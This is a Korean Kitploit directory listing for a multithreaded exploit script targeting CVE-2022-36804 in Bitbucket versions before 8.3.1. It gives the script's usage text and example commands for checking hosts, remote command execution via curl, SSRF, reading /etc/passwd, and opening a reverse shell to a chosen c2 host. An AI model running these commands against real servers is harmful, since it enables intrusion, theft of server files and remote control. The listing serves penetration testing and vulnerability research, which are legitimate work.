Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-36804-PoC — BitBucket <8.3.1 버전에 영향을 주는 CVE-2022-36804용 멀티스레드 익스플로잇 스크립트 | Kitploit
도구/GitHubGitHub/notxesh/cve-2022-36804-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed Teaming
GitHubnotxesh/cve-2022-36804-poc

CVE-2022-36804-PoC

BitBucket <8.3.1 버전에 영향을 주는 CVE-2022-36804용 멀티스레드 익스플로잇 스크립트

저장소 보기
1883년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-36804-PoC

대부분의 BitBucket 버전 <8.3.1에 영향을 주는 CVE-2022-36804용 멀티스레드 익스플로잇 스크립트입니다. 전체 보안 권고는 여기 https://jira.atlassian.com/browse/BSERV-13438 에서 확인하세요.

발견에 대한 모든 공로는 TheGrandPew에게 있습니다.

이 스크립트는 Bitbucket 인스턴스에 있는 공개 저장소를 자동으로 감지한 다음, 점검하거나 취약점 공격을 수행할 무작위 저장소를 선택합니다. 공개 저장소가 없는 경우, 알려진 취약 인스턴스를 익스플로잇하려면 유효한 'BITBUCKETSESSIONID' 쿠키가 필요합니다.

이 PoC는 여러 입력 호스트를 받아 취약한 호스트를 stdout으로 파이프하여, 결과를 다른 도구로 처리할 수 있도록 설계되었습니다.

악의적인 목적으로 사용하지 마십시오.

사용법

root@kitploit:~
usage: CVE-2022-36804.py [-h] [--auth-cookie AUTH_COOKIE] [--proxy PROXY] [-e {check,rce,ssrf,download,rev_shell}] [--cmd CMD] [--knary KNARY] [--server-file SERVER_FILE] [--host HOST] [--port PORT]
                         [--skip-check] [-t THREADS] [-v]
                         repos [repos ...]

CVE-2022-36804 Exploit Script for BitBucket versions < 8.3.1

optional arguments:
  -h, --help            show this help message and exit

required arguments:
  repos                 Repository host/s (http://bitbucket.example.com:7990) (or single input file "./targets.txt" of target hosts) to perfrom CVE-2022-36804 on

optional arguments:
  --auth-cookie AUTH_COOKIE
                        Authentication cookie 'BITBUCKETSESSIONID' value for private repositories
  --proxy PROXY         HTTP Proxy: <http/https>://<ip>:<port>
  -e {check,rce,ssrf,download,rev_shell}, --exploit {check,rce,ssrf,download,rev_shell}
                        Exploit to perform
  --cmd CMD             Command to execute for the 'rce' exploit (curl http://example.com)
  --knary KNARY         Knary to respond too via DNS for the 'ssrf' exploit
  --server-file SERVER_FILE
                        Server file to download for the 'download' exploit (/etc/passwd)
  --host HOST           Hostname or IP address of c2 for the 'rev_shell' exploit
  --port PORT           Port of the c2 for the 'rev_shell' exploit
  --skip-check          Skip vulnerability checking stage
  -t THREADS, --threads THREADS
                        Worker Threads
  -v, --verbose         Increase output verbosity level

익스플로잇 모드

Check

단일 호스트

CVE-2022-36804.py http://bitbucket.local:7990/

여러 호스트를 입력받고 취약한 호스트와 익스플로잇된 저장소를 파일로 파이핑

CVE-2022-36804.py ./bitbucket-hosts.txt > vulnerable-hosts

RCE (원격 코드 실행)

CVE-2022-36804.py -e rce --cmd "curl http://example.com/" http://bitbucket.local:7990/

SSRF (서버 측 요청 위조)

지정된 knary에 DNS 요청을 수행합니다.

CVE-2022-36804.py -e ssrf --knary http://knary.example.com http://bitbucket.local:7990/

Download

대상 파일 /etc/passwd로 저장소를 다운로드합니다. 압축된 저장소는 임의의 파일 이름으로 저장됩니다.

CVE-2022-36804.py -e download --server-file /etc/passwd http://bitbucket.local:7990/

Rev_shell (지정된 호스트와 포트로 리버스 sh 셸 생성)

CVE-2022-36804.py -e rev_shell --host 127.0.0.1 --port 31337 http://bitbucket.local:7990/

도구 다운로드